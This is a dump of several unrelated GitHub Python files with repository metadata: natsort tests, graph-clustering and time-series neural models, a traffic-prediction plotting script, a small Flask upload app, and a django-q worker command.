sort_and_print_entries(entries, Args(None, None, [23, 130], True, False))\n e = [call(entries[i]) for i in [2, 3, 0, 5, 6]]\n p.assert_has_calls(e)\n\n\ndef test_sort_and_print_entries_reverses_order_with_reverse_option():\n with patch(mock_print) as p:\n # tmp/a130/path1\n # tmp/a64/path2\n # tmp/a64/path1\n # tmp/a57/path2\n # tmp/a23/path1\n # tmp/a1 (1)/path1\n # tmp/a1/path1\n sort_and_print_entries(entries, Args(None, None, False, True, True))\n e = [call(entries[i]) for i in reversed([2, 3, 1, 0, 5, 6, 4])]\n p.assert_has_calls(e)\n\n\n# Each test has an \"example\" version for demonstrative purposes,\n# and a test that uses the hypothesis module.\n\ndef test_range_check_returns_range_as_is_but_with_floats_if_first_is_less_than_second_example():\n assert range_check(10, 11) == (10.0, 11.0)\n assert range_check(6.4, 30) == (6.4, 30.0)\n\n\n@given(x=integers(), data=data()) # Defer data selection for y till test is run.\ndef test_range_check_returns_range_as_is_but_with_floats_if_first_is_less_than_second(x, data):\n # Pull data such that the first is less than the second.\n y = data.draw(integers(min_value=x + 1))\n assert range_check(x, y) == (x, y)\n\n\n@given(x=floats(allow_nan=False, min_value=-1E8, max_value=1E8), data=data()) # Defer data selection for y till test is run.\ndef test_range_check_returns_range_as_is_but_with_floats_if_first_is_less_than_second2(x, data):\n # Pull data such that the first is less than the second.\n y = data.draw(floats(min_value=x + 1.0, max_value=1E9, allow_nan=False))\n assert range_check(x, y) == (x, y)\n\n\ndef test_range_check_raises_ValueError_if_second_is_less_than_first_example():\n with raises(ValueError) as err:\n range_check(7, 2)\n assert str(err.value) == 'low >= high'\n\n\n@given(x=floats(allow_nan=False), data=data()) # Defer data selection for y till test is run.\ndef test_range_check_raises_ValueError_if_second_is_less_than_first(x, data):\n # Pull data such that the first is greater than or equal to the second.\n y = data.draw(floats(max_value=x, allow_nan=False))\n with raises(ValueError) as err:\n range_check(x, y)\n assert str(err.value) == 'low >= high'\n\n\ndef test_check_filter_returns_None_if_filter_evaluates_to_False():\n assert check_filter(()) is None\n assert check_filter(False) is None\n assert check_filter(None) is None\n\n\ndef test_check_filter_returns_input_as_is_if_filter_is_valid_example():\n assert check_filter([(6, 7)]) == [(6, 7)]\n assert check_filter([(6, 7), (2, 8)]) == [(6, 7), (2, 8)]\n\n\n@given(x=lists(integers(), min_size=1), data=data()) # Defer data selection for y till test is run.\ndef test_check_filter_returns_input_as_is_if_filter_is_valid(x, data):\n y = [data.draw(integers(min_value=val + 1)) for val in x] # ensure y is element-wise greater than x\n assert check_filter(list(zip(x, y))) == [(i, j) for i, j in zip(x, y)]\n\n\ndef test_check_filter_raises_ValueError_if_filter_is_invalid_example():\n with raises(ValueError) as err:\n check_filter([(7, 2)])\n assert str(err.value) == 'Error in --filter: low >= high'\n\n\n@given(x=lists(integers(), min_size=1), data=data()) # Defer data selection for y till test is run.\ndef test_check_filter_raises_ValueError_if_filter_is_invalid(x, data):\n y = [data.draw(integers(max_value=val)) for val in x] # ensure y is element-wise less than or equal to x\n with raises(ValueError) as err:\n check_filter(list(zip(x, y)))\n assert str(err.value) == 'Error in --filter: low >= high'\n\n\ndef test_keep_entry_range_returns_True_if_any_portion_of_input_is_between_the_range_bounds_example():\n assert keep_entry_range('a56b23c89', [0], [100], int, re.compile(r'\\d+'))\n\n\ndef test_keep_entry_range_returns_True_if_any_portion_of_input_is_between_any_range_bounds_example():\n assert keep_entry_range('a56b23c89', [1, 88], [20, 90], int, re.compile(r'\\d+'))\n\n\ndef test_keep_entry_range_returns_False_if_no_portion_of_input_is_between_the_range_bounds_example():\n assert not keep_entry_range('a56b23c89', [1], [20], int, re.compile(r'\\d+'))\n\n\ndef test_exclude_entry_returns_True_if_exlcude_parameters_are_not_in_input_example():\n assert exclude_entry('a56b23c89', [100, 45], int, re.compile(r'\\d+'))\n\n\ndef test_exclude_entry_returns_False_if_exlcude_parameters_are_in_input_example():\n assert not exclude_entry('a56b23c89', [23], int, re.compile(r'\\d+'))\n","repo_name":"rinslow/natsort","sub_path":"test_natsort/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":9010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"7077842518","text":"import os.path as osp\nimport os\nimport argparse\n\nfrom utils.process import process\nfrom utils.utils import Acc, visualize, cluster_acc\nimport torch\nfrom sklearn.cluster import KMeans\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--use_gdc', action='store_true',\n help='Use GDC preprocessing.')\nparser.add_argument('--device', type=str, default= 'cpu',\n help='device')\n#data\nparser.add_argument('--dataset_name', type=str, default='Cora',\n help='name of used dataset')\nparser.add_argument('--data_views', type=dict, default={'data_main':None, 'data_aux':None,},\n help='storage for PyG Data class')\nparser.add_argument('--node_list', type=list, default= None,\n help='node_list_order')\n#model\nparser.add_argument('--n_clusters', type=int, default= 7,\n help='number of clusters')\nparser.add_argument('--dist_metrics', type=str, default= 'euclidean',\n help='distance metrics: support euclidean')\nparser.add_argument('--dropout', type=float, default= 0.5,\n help='dropout rate')\n\n\nargs = parser.parse_args()\n# if args.use_gdc:\n# gdc = T.GDC(self_loop_weight=1, normalization_in='sym',\n# normalization_out='col',\n# diffusion_kwargs=dict(method='ppr', alpha=0.05),\n# sparsification_kwargs=dict(method='topk', k=128,\n# dim=0), exact=True)\n# data = gdc(data)\n\n\nargs, adjs = process(args)\n\n\n\n\nfrom models.graphsrl import GraphSRL\n\n\n\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nargs.device = device\nmodel = GraphSRL(args).to(device)\n# model, args, adjs = GraphSRL(args).to(device), args.to(device), adjs.to(device)\nlr = 0.01\nprint('dict(params=model.mlp_node_rep.parameters()', dict(params=model.mlp_node_rep.parameters()))\noptimizer = torch.optim.Adam([\n dict(params=model.gcn_encoder_main.parameters(), weight_decay=0, lr =0.1),\n dict(params=model.mlp_node_rep.parameters(), weight_decay=0),\n dict(params=model.mlp_read_out.parameters(), weight_decay=0)\n], lr=lr) \noptimizer_aux = torch.optim.Adam([\n dict(params=model.gcn_encoder_aux.parameters(), weight_decay=0),\n dict(params=model.mlp_node_rep.parameters(), weight_decay=0),\n dict(params=model.mlp_read_out.parameters(), weight_decay=0)\n], lr=lr) \n\n# optimizer = torch.optim.Adam(model.parameters(), lr=lr)\n# optimizer_aux = torch.optim.Adam(model.parameters(), lr=lr)\n\n\ndata_main = args.data_views[\"data_main\"].to(device)\ndata_aux = args.data_views[\"data_aux\"].to(device)\n\ndef set_requires_grad(nets, requires_grad=False):\n \"\"\"Set requies_grad=Fasle for all the networks to avoid unnecessary computations\n Parameters:\n nets (network list) -- a list of networks\n requires_grad (bool) -- whether the networks require gradients or not\n \"\"\"\n if not isinstance(nets, list):\n nets = [nets]\n for net in nets:\n if net is not None:\n for param in net.parameters():\n param.requires_grad = requires_grad\n\ndef train():\n model.train()\n optimizer.zero_grad()\n # F.nll_loss(model()[data.train_mask], data.y[data.train_mask]).backward()\n output = model(data_main, data_aux)\n losses = model.comput_loss(data_main, data_aux, output, adjs)\n optimizer.zero_grad()\n set_requires_grad(model.gcn_encoder_aux, requires_grad=False)\n losses['loss_main'].backward(retain_graph=True)\n optimizer.step()\n\n set_requires_grad(model.gcn_encoder_aux, requires_grad=True)\n set_requires_grad(model.gcn_encoder_main, requires_grad=False)\n optimizer_aux.zero_grad()\n losses['loss_aux'].backward()\n optimizer_aux.step()\n set_requires_grad(model.gcn_encoder_main, requires_grad=True)\n return losses, output\n\n\n@torch.no_grad()\ndef test():\n model.eval()\n output = model(data_main, data_aux)\n latent = output['latent_main'].detach().cpu().numpy()\n kmeans = KMeans(n_clusters=args.n_clusters, random_state=0, n_init=20).fit(latent)\n # y_pred = torch.IntTensor(kmeans.predict(latent)).to(device)\n y_pred = kmeans.predict(latent)\n acc = cluster_acc(data_main.y.detach().cpu().numpy(), y_pred)\n return acc\n\n\n# best_val_acc = test_acc = 0\nloss_history = [0,0]\nfor epoch in range(1, 201):\n losses, output = train()\n loss_history[0] += losses['loss_main'].item()\n loss_history[1] += losses['loss_aux'].item()\n # train_acc, val_acc, tmp_test_acc = test()\n acc = test()\n if epoch%20 == 0:\n visualize(output['latent_main'].detach().cpu().numpy(), data_main.y.detach().cpu().numpy(), epoch)\n # log = 'Epoch: {:03d}, loss main:{:.4f}, loss aux:{:.4f}, Train: {:.4f}, Val: {:.4f}, Test: {:.4f}'\n log = 'Epoch: {:03d}, loss main:{:.4f}, loss aux:{:.4f}, Acc: {:.4f},'\n print(log.format(epoch, loss_history[0]/epoch, loss_history[1]/epoch, acc))","repo_name":"EchooooAi/gsrl","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36409341682","text":"import torch\n\n\ndef compute_params(z, gamma):\n # source https://github.com/danieltan07/dagmm/blob/master/model.py\n _, k = gamma.shape\n # K\n phi = gamma.mean(dim=0)\n mu = list()\n cov = list()\n for i in range(k):\n zi = z * gamma[:, i].unsqueeze(-1)\n mu.append(zi.mean(0))\n cov.append(torch.diag(torch.std(zi, axis=0)))\n # K x D\n mu = torch.stack(mu)\n # K x D x D\n cov = torch.stack(cov)\n return phi, mu, cov\n\n\n# def compute_params(z, gamma):\n# # source https://github.com/danieltan07/dagmm/blob/master/model.py\n# N = gamma.size(0)\n# # K\n# sum_gamma = torch.sum(gamma, dim=0)\n# # K\n# phi = sum_gamma / N\n# # K x D\n# mu = torch.sum(gamma.unsqueeze(-1) * z.unsqueeze(1), dim=0) / sum_gamma.unsqueeze(-1)\n# # z = N x D\n# # mu = K x D\n# # gamma N x K\n# # z_mu = N x K x D\n# z_mu = (z.unsqueeze(1) - mu.unsqueeze(0))\n# # z_mu_outer = N x K x D x D\n# z_mu_outer = z_mu.unsqueeze(-1) * z_mu.unsqueeze(-2)\n# # K x D x D\n# cov = torch.sum(gamma.unsqueeze(-1).unsqueeze(-1) * z_mu_outer, dim = 0) / sum_gamma.unsqueeze(-1).unsqueeze(-1)\n# return phi, mu, cov\n\n\ndef distances(x, x_pred):\n mask = (x[:, :, 0] != 0) * 1.\n x = x[:, :, 1]\n x_norm = (x.pow(2) * mask).sum(1, keepdim=True)\n x_pred_norm = (x_pred.pow(2) * mask).sum(1, keepdim=True)\n euclidean_distance = ((x_pred - x).pow(2) * mask).sum(dim=1, keepdim=True) / x_norm\n cosine_distance = (x * x_pred * mask).sum(1, keepdim=True) / x_norm / x_pred_norm\n return euclidean_distance, cosine_distance\n\n\nclass MLP(torch.nn.Module):\n def __init__(self, nin, nh, nout, do=0.5):\n super(MLP, self).__init__()\n self.fc1 = torch.nn.Linear(nin, nh)\n self.fc2 = torch.nn.Linear(nh, nout)\n self.tanh = torch.nn.Tanh()\n self.dropout = torch.nn.Dropout(do)\n\n def forward(self, x):\n return self.fc2(self.dropout(self.tanh(self.fc1(x))))\n\n\nclass LSTMAE(torch.nn.Module):\n def __init__(self, nin, nh, nl, nout, nlayers, do):\n super(LSTMAE, self).__init__()\n self.nh = nh\n self.nl = nl\n if nlayers >= 2:\n self.enc = torch.nn.LSTM(input_size=nin, hidden_size=nh, num_layers=nlayers, dropout=do, batch_first=True)\n self.dec = torch.nn.LSTM(input_size=nl + 1, hidden_size=nh, num_layers=nlayers, dropout=do, batch_first=True)\n else:\n self.enc = torch.nn.LSTM(input_size=nin, hidden_size=nh, num_layers=nlayers, batch_first=True)\n self.dec = torch.nn.LSTM(input_size=nl + 1, hidden_size=nh, num_layers=nlayers, batch_first=True)\n self.fcd = torch.nn.Linear(nh, nout)\n self.fce = torch.nn.Linear(nh, nl)\n self.do = torch.nn.Dropout(p=do)\n\n def forward(self, x, seq_len):\n n, _, _ = x.shape\n z = self.encode(x)\n z = z[torch.arange(n), (seq_len - 1).type(dtype=torch.long)]\n pred = self.decode(x[:, :, 0], z) # index: 0-time, 1-flux, 2-flux_err\n return pred, z\n\n def encode(self, x):\n # input (batch, seq_len, input_size)\n # output (batch, seq_len, num_directions * hidden_size)\n x, (_, _) = self.enc(x)\n x = self.fce(x)\n return x\n\n def decode(self, dt, z):\n n, l = dt.shape\n z = self.do(z)\n x_lat = torch.zeros((n, l, self.nl + 1)).to(dt.device)\n new_z = z.view(-1, self.nl, 1).expand(-1, -1, l).transpose(1, 2)\n x_lat[:, :, :-1] = new_z\n x_lat[:, :, -1] = dt\n output, (_, _) = self.dec(x_lat) # input shape (seq_len, batch, features)\n output = self.fcd(output).squeeze()\n return output.squeeze()\n\n\nclass GRUGMM(torch.nn.Module):\n def __init__(self, nin, nh, nl, ne, ngmm, nout, nlayers, do, fold):\n super(GRUGMM, self).__init__()\n self.nh = nh\n self.nl = nl\n if nlayers >= 2:\n self.enc = torch.nn.GRU(input_size=nin, hidden_size=nh, num_layers=nlayers, dropout=do, batch_first=True)\n self.dec = torch.nn.GRU(input_size=nl + 1, hidden_size=nh, num_layers=nlayers, dropout=do, batch_first=True)\n else:\n self.enc = torch.nn.GRU(input_size=nin, hidden_size=nh, num_layers=nlayers, batch_first=True)\n self.dec = torch.nn.GRU(input_size=nl + 1, hidden_size=nh, num_layers=nlayers, batch_first=True)\n\n self.estimation_network = torch.nn.Sequential(\n torch.nn.Linear(nl + 5, ne) if fold else torch.nn.Linear(nl + 2, ne),\n torch.nn.Tanh(),\n torch.nn.Dropout(p=do),\n torch.nn.Linear(ne, ngmm)\n )\n\n self.fcd = torch.nn.Linear(nh, nout)\n self.fce = torch.nn.Linear(nh, nl)\n self.do = torch.nn.Dropout(p=do)\n self.softmax = torch.nn.Softmax(dim=1)\n\n def forward(self, x, seq_len, p=None):\n n, _, _ = x.shape\n z = self.encode(x)\n z = z[torch.arange(n), (seq_len - 1).type(dtype=torch.long)]\n pred = self.decode(x[:, :, 0], z) # index: 0-time, 1-flux, 2-flux_err\n euc, cos = distances(x, pred)\n if p is None:\n zc = torch.cat((z, euc, cos), dim=1)\n else:\n zc = torch.cat((z, euc, cos, m, s, p.unsqueeze(-1)), dim=1) \n logits = self.estimation_network(zc)\n gamma = self.softmax(logits)\n phi, mu, cov = compute_params(zc, gamma)\n return pred, zc, logits, phi, mu, cov\n\n def encode(self, x):\n # input (batch, seq_len, input_size)\n # output (batch, seq_len, num_directions * hidden_size)\n x, _ = self.enc(x)\n x = self.fce(x)\n return x\n\n def decode(self, dt, z):\n n, l = dt.shape\n z = self.do(z)\n x_lat = torch.zeros((n, l, self.nl + 1)).to(dt.device)\n new_z = z.view(-1, self.nl, 1).expand(-1, -1, l).transpose(1, 2)\n x_lat[:, :, :-1] = new_z\n x_lat[:, :, -1] = dt\n output, _ = self.dec(x_lat) # input shape (seq_len, batch, features)\n output = self.fcd(output).squeeze()\n return output.squeeze()\n ","repo_name":"fluowhy/LightCurveGMM","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6030,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42708536286","text":"# -*- coding: utf-8 -*-\r\n\r\nimport py2exe\r\nimport os\r\nfrom distutils.core import setup\r\n\r\nfiles = []\r\nbase_dir = \"C:\\\\Users\\\\austin.jackson\\\\Desktop\\\\HotC\\\\client\\\\heroes\\\\\"\r\nfor f in os.listdir(base_dir):\r\n f1 = base_dir + f\r\n f2 = 'heroes', [f1]\r\n files.append(f2)\r\n\r\nsetup(\r\n options = {'py2exe': {'bundle_files': 1, 'compressed': True}},\r\n zipfile = None,\r\n console = ['HotC_client.py'],\r\n data_files = files\r\n)\r\n","repo_name":"vesche/HotC","sub_path":"client/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13633402283","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def deleteDuplicates(self, head: ListNode) -> ListNode:\n node= slow = ListNode(0.1,next=head)\n while head:\n if head.val == slow.val:\n head=head.next\n else:\n slow.next=head\n head=head.next\n slow=slow.next\n slow.next=head\n return node.next\n ","repo_name":"ruifan831/leetCodeRecord","sub_path":"83_Remove_Duplicates_from_Sorted_List.py","file_name":"83_Remove_Duplicates_from_Sorted_List.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70529345371","text":"import os\nimport pandas as pd\n\n\n\n\nlist_a = os.listdir(r\"C:\\Users\\Aki\\file1\")\nlst = [i for i in range(100)]\na = lst[1::2] #奇数表現\nos.chdir(r\"C:\\Users\\Aki\\save_file\")\nfor i in range(1, len(list_a)):\n df = pd.read_csv(r\"C:\\users\\Aki\\data\\{0:01d}\".format(i) + \".csv\" , header = None) #ヘッダがない場合 :「header = None」\n A = df.drop(a)\n A = A.drop(a, axis=1)\n A.to_csv(\"{0:01d}\".format(i) + \".csv\" , header = None, index = None)\n \n","repo_name":"kilchi/Python_toolbox","sub_path":"Col_delete.py","file_name":"Col_delete.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35453369563","text":"from flask import Flask, request, render_template\n\nimport os\n\n\napp = Flask(__name__)\n\n\n# Define the directory to store uploaded files\n\nUPLOAD_FOLDER = 'uplf'\n\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\n# Define the Flask route to handle the image processing\n\n@app.route('/process', methods=['POST'])\ndef process():\n\n # Check if a file was submitted with the request\n\n if 'file' not in request.files:\n\n return 'No file submitted'\n\n file = request.files['file']\n\n # Check if the file has a valid filename\n\n if file.filename == '':\n\n return 'No file selected'\n\n # Save the file to the UPLOAD_FOLDER directory\n\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))\n\n # Process the image and return the result\n\n # ...\n\n # Return the result as a JSON object\n\n result = {'message': 'Image processed successfully'}\n\n return result\n\n\n# Define a route to serve the HTML file\n\n@app.route('/')\ndef index():\n\n return render_template('index.html')\n\n\nif __name__ == '__main__':\n\n app.run(debug=True)\n","repo_name":"rghotra/DevFest2023","sub_path":"website_files/back.py","file_name":"back.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72040010010","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 14 20:10:56 2018\n\n@author: archit\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_squared_error\nfrom keras.models import load_model\nimport os\nfrom sklearn.externals import joblib\nfrom datetime import datetime\nimport matplotlib.patches as mpatches\n\nroute=\"F20toJWClay\"\n#route=\"F34toOldCon\"\nroot = os.path.join(os.pardir, \"Models\", route, \"Backup Models\")\ntest_file = os.path.join(root,\"test.csv\")\nscaler_file = os.path.join(root,'scaler')\nmodel_file = os.path.join(root, 'model')\nresidue_file = os.path.join(root, 'residue')\ndataFile = 'WeatherInfo.csv'\n\ntimesteps = 12\nthreshold = 8\nonly_weekdays = False\n\nif only_weekdays:\n scaler_file += '_weekdays'\n model_file += '_weekdays'\n residue_file += '_weekdays'\nelse:\n scaler_file += '_alldays'\n model_file += '_alldays'\n residue_file += '_alldays'\n\ndef serialize_data(filename):\n df = pd.read_csv(filename, index_col=0, header=None, parse_dates=True)\n if only_weekdays:\n df = df[df.index.weekday<5]\n df.fillna(-1, inplace=True)\n arr = list(df.values)\n all_steps = []\n for row in arr:\n all_steps.extend(row) \n \n return np.asarray(all_steps).reshape(-1, 1)\n\ndef prepare_data(all_steps, refine):\n X = []\n Y = []\n N = len(all_steps)\n for i in range(timesteps, N):\n x = list(all_steps[i-timesteps:i, 0])\n y = all_steps[i, 0]\n #ignore observations with unknown output and number of missing values greater than threshold\n if refine:\n if y != 0 and x.count(0) < threshold:\n X.append(x)\n Y.append(y)\n else:\n X.append(x)\n Y.append(y)\n \n return np.asarray(X),np.asarray(Y)\n\ndef get_test_dates(filename):\n df = pd.read_csv(filename, index_col=0, header=None, parse_dates=True)\n return list(df.index.strftime('%m/%d/%y'))\n\ndef get_prev_day_timesteps():\n df = pd.read_csv(test_file, index_col=0, header=None, parse_dates=True)\n lastrow = df.tail(1)\n lastrow.fillna(-1, inplace=True)\n x = lastrow.iloc[0,-timesteps:]\n x = list(x)\n x = np.asarray(x).reshape((-1,1))\n return x\n\nprev_day = get_prev_day_timesteps() \ntest_set = serialize_data(test_file)\ntest_set = np.concatenate((prev_day, test_set), axis=0)\ntest_dates = get_test_dates(test_file)\n\nsc = joblib.load(scaler_file + '.pkl')\ntest_set_scaled = sc.transform(test_set)\n\nX_test, y_test = prepare_data(test_set_scaled, False)\n_, real_traffic = prepare_data(test_set, False)\n\n#Reshaping || data, Batch size, timesteps, indicators \nX_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\n\nmodel = load_model(model_file + '.h5')\ny_pred = model.predict(X_test)\nreal_traffic = real_traffic.reshape((-1,1))\npred_traffic = sc.inverse_transform(y_pred)\n\n\n#Visualize the results\nintervals = int(24 * 60 / 5)\ntime_labels = []\nk = []\nfor i in range(intervals):\n if (i+1) % 12 == 0:\n h = int((i+1) / 12)\n time_str = '{:02d}:00'.format(h)\n time_labels.append(time_str)\n k.append(i)\n\nclass Weather:\n class Rain:\n LightRain = \"light rain\"\n ProximityShowerRain = \"proximity shower rain\"\n ModerateRain = \"moderate rain\"\n HeavyIntensityRain = \"heavy intensity rain\"\n VeryHeavyRain = \"very heavy rain\"\n FreezingRain = \"freezing rain\"\n \n @staticmethod\n def Conditions():\n return [Weather.Rain.LightRain, Weather.Rain.ProximityShowerRain,\n Weather.Rain.ModerateRain, Weather.Rain.HeavyIntensityRain,\n Weather.Rain.VeryHeavyRain, Weather.Rain.FreezingRain]\n \n class Thunderstorm:\n ProximityTS = \"proximity thunderstorm\"\n ProximityTSRain = \"proximity thunderstorm with rain\"\n TS = \"thunderstorm\"\n TSLightRain = \"thunderstorm with light rain\"\n TSRain = \"thunderstorm with rain\"\n TSHeavyRain = \"thunderstorm with heavy rain\"\n \n @staticmethod\n def Conditions():\n return [Weather.Thunderstorm.ProximityTS, Weather.Thunderstorm.ProximityTSRain,\n Weather.Thunderstorm.TS, Weather.Thunderstorm.TSLightRain,\n Weather.Thunderstorm.TSRain, Weather.Thunderstorm.TSHeavyRain]\n\nrain_color = 'g'\nthunder_color = 'orange'\npatches = {}\nfor i, cond in enumerate(Weather.Rain.Conditions()):\n patch = mpatches.Patch(facecolor=rain_color, alpha = 0.1 * (i+1), label=cond)\n if cond not in patches:\n patches[cond] = patch\n\nfor i, cond in enumerate(Weather.Thunderstorm.Conditions()):\n patch = mpatches.Patch(facecolor=thunder_color, alpha = 0.1 * (i+1), label=cond)\n if cond not in patches:\n patches[cond] = patch\n\n \nfor i in range(len(test_dates)):\n if i < 3:\n continue\n handles = {}\n fig = plt.figure(i)\n ax = fig.add_subplot(111)\n start = i * intervals\n gt = real_traffic[start:start+intervals]\n pred = pred_traffic[start:start+intervals]\n traffic= gt!=-1\n error_min = round(mean_squared_error(gt[traffic]/60, pred[traffic]/60),2)\n title = 'Predictons for {}. Error {}'.format(test_dates[i], error_min)\n #gt[gt==-1]=float('nan')\n graph_real = ax.plot(gt, color = 'red', label='Real Traffic')\n graph_pred = ax.plot(pred, color = 'blue', label='Predicted Traffic')\n ax.set_title(title)\n #ax.set_ylim(ymax=900, ymin=400)\n ax.set_xlabel('Clock')\n ax.set_ylabel('Time(s)')\n ax.set_xticks(k)\n ax.set_xticklabels(time_labels)\n \n t_date = datetime.strptime(test_dates[i], '%m/%d/%y')\n df = pd.read_csv(dataFile, parse_dates=['date'])\n t_df = df[df['date'] == t_date]\n\n con = (t_df['weather_main'] == 'Thunderstorm') | (t_df['weather_main'] == 'Rain')\n conditions = t_df[con][['time','weather_main','weather_description']]\n conditions['time'] = conditions['time'].apply(lambda x : int(x.split(':')[0]))\n \n\n for j in range(len(conditions)):\n weather = conditions.iloc[j, 1]\n #description = conditions.iloc[j,2]\n description = weather\n x = conditions.iloc[j, 0] * 12\n y = gt[x]\n d = 6\n# if weather==\"Rain\":\n# if description == Weather.Rain.LightRain:\n# ax.axvspan(x-d, x+d, facecolor=rain_color, alpha=0.1)\n# elif description == Weather.Rain.ProximityShowerRain:\n# ax.axvspan(x-d, x+d, facecolor=rain_color, alpha=0.2)\n# elif description == Weather.Rain.ModerateRain:\n# ax.axvspan(x-d, x+d, facecolor=rain_color, alpha=0.3)\n# elif description == Weather.Rain.HeavyIntensityRain or description == Weather.Rain.VeryHeavyRain:\n# ax.axvspan(x-d, x+d, facecolor=rain_color, alpha=0.4)\n# elif description == Weather.Rain.FreezingRain :\n# ax.axvspan(x-d, x+d, facecolor=rain_color, alpha=0.5)\n# \n# elif weather == \"Thunderstorm\":\n# if description == Weather.Thunderstorm.ProximityTS:\n# ax.axvspan(x-d, x+d, facecolor=thunder_color, alpha=0.1)\n# elif description == Weather.Thunderstorm.ProximityTSRain:\n# ax.axvspan(x-d, x+d, facecolor=thunder_color, alpha=0.2)\n# elif description == Weather.Thunderstorm.TS:\n# ax.axvspan(x-d, x+d, facecolor=thunder_color, alpha=0.3)\n# elif description == Weather.Thunderstorm.TSLightRain:\n# ax.axvspan(x-d, x+d, facecolor=thunder_color, alpha=0.4)\n# elif description == Weather.Thunderstorm.TSRain:\n# ax.axvspan(x-d, x+d, facecolor=thunder_color, alpha=0.5)\n# elif description == Weather.Thunderstorm.TSHeavyRain:\n# ax.axvspan(x-d, x+d, facecolor=thunder_color, alpha=0.6)\n# \n# if description not in handles:\n# handles[description] = patches[description]\n \n# ax.annotate(description, (x,y), \n# xytext=(x+(10*(-1)**j), y + (-1)**j * 100),\n# arrowprops=dict(facecolor='black', shrink=0.01, width=1, headwidth=3),\n# size=15)\n \n# residue = np.abs(gt - pred)\n# residual_graph = ax.plot(residue, label='residue')\n \n all_handles = graph_real + graph_pred #+ list(handles.values()) #+ residual_graph\n #all_handles = graph_pred #+ list(handles.values()) #+ residual_graph\n ax.legend(handles=all_handles,prop={'size': 15})\n\n\n \n \n \n \n \n \n\n\n \n \n\n","repo_name":"ArchitParnami/UAP","sub_path":"Model/Test_v2_Weather.py","file_name":"Test_v2_Weather.py","file_ext":"py","file_size_in_byte":8527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30894951878","text":"import logging\nimport random\nimport signal\nimport socket\nimport typing\nfrom multiprocessing import Event, Process\nfrom time import sleep\n\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.utils.translation import ugettext_lazy as _\nfrom django_q.brokers import get_broker\nfrom django_q.cluster import Cluster as QCluster\nfrom django_q.cluster import Sentinel as QSentinel\nfrom django_q.cluster import scheduler\nfrom django_q.conf import Conf\nfrom django_q.management.commands import qcluster\nfrom django_q.status import Stat\n\nif typing.TYPE_CHECKING:\n pass\n\nlogger = logging.getLogger(__name__)\n\n\nclass Sentinel(QSentinel):\n def __init__(self, cluster_id, stop_event, start_event, broker=None, timeout=Conf.TIMEOUT, start=True):\n super().__init__(stop_event, start_event, broker, timeout, False)\n # docker 里 ppid 一定是 1,只会导致冲突,不如直接改写\n self.parent_pid = cluster_id\n self.name = \"Sentinel-%d\" % cluster_id\n self.leader = None\n if start:\n self.start()\n\n def schedule(self):\n if not Conf.SCHEDULER:\n return\n # 保证只有一个 scheduler\n leader = cache.get_or_set(settings.TASK_LEADER_KEY, self.name, settings.TASK_LEADER_TTL)\n if self.name == leader:\n logger.info(\"%s become leader\", self.name)\n scheduler(self.broker)\n elif leader != self.leader:\n logger.info(\"worker leader changed to %s\", leader)\n self.leader = leader\n\n def guard(self):\n logger.info(_('{} guarding cluster at {}').format(self.name, self.pid))\n self.start_event.set()\n Stat(self).save()\n logger.info(_('Q Cluster-{} running.').format(self.parent_pid))\n self.schedule()\n counter = 0\n cycle = Conf.GUARD_CYCLE # guard loop sleep in seconds\n # Guard loop. Runs at least once\n while not self.stop_event.is_set() or not counter:\n # Check Workers\n for p in self.pool:\n with p.timer.get_lock():\n # Are you alive?\n if not p.is_alive() or p.timer.value == 0:\n self.reincarnate(p)\n continue\n # Decrement timer if work is being done\n if p.timer.value > 0:\n p.timer.value -= cycle\n # Check Monitor\n if not self.monitor.is_alive():\n self.reincarnate(self.monitor)\n # Check Pusher\n if not self.pusher.is_alive():\n self.reincarnate(self.pusher)\n # Call scheduler once a minute (or so)\n counter += cycle\n if counter >= 30:\n counter = 0\n self.schedule()\n # Save current status\n Stat(self).save()\n sleep(cycle)\n self.stop()\n\n\nclass Cluster(QCluster):\n def __init__(self, broker=None):\n self.broker = broker or get_broker()\n self.sentinel = None\n self.stop_event = None\n self.start_event = None\n self.cluster_id = random.randint(1000, 10000000)\n self.host = socket.gethostname()\n self.timeout = Conf.TIMEOUT\n self.stop_event = Event()\n self.start_event = Event()\n self.sentinel = Process(\n target=Sentinel,\n args=(\n self.cluster_id,\n self.stop_event,\n self.start_event,\n self.broker,\n self.timeout,\n ),\n )\n\n @property\n def pid(self):\n return self.cluster_id\n\n def start(self):\n # Start Sentinel\n self.sentinel.start()\n while not self.start_event.is_set():\n sleep(0.1)\n return self.pid\n\n\nclass Command(qcluster.Command):\n help = \"Starts task worker.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--run-once',\n action='store_true',\n dest='run_once',\n default=False,\n help='Run once and then stop.',\n )\n\n def handle(self, *args, **options):\n q = Cluster()\n 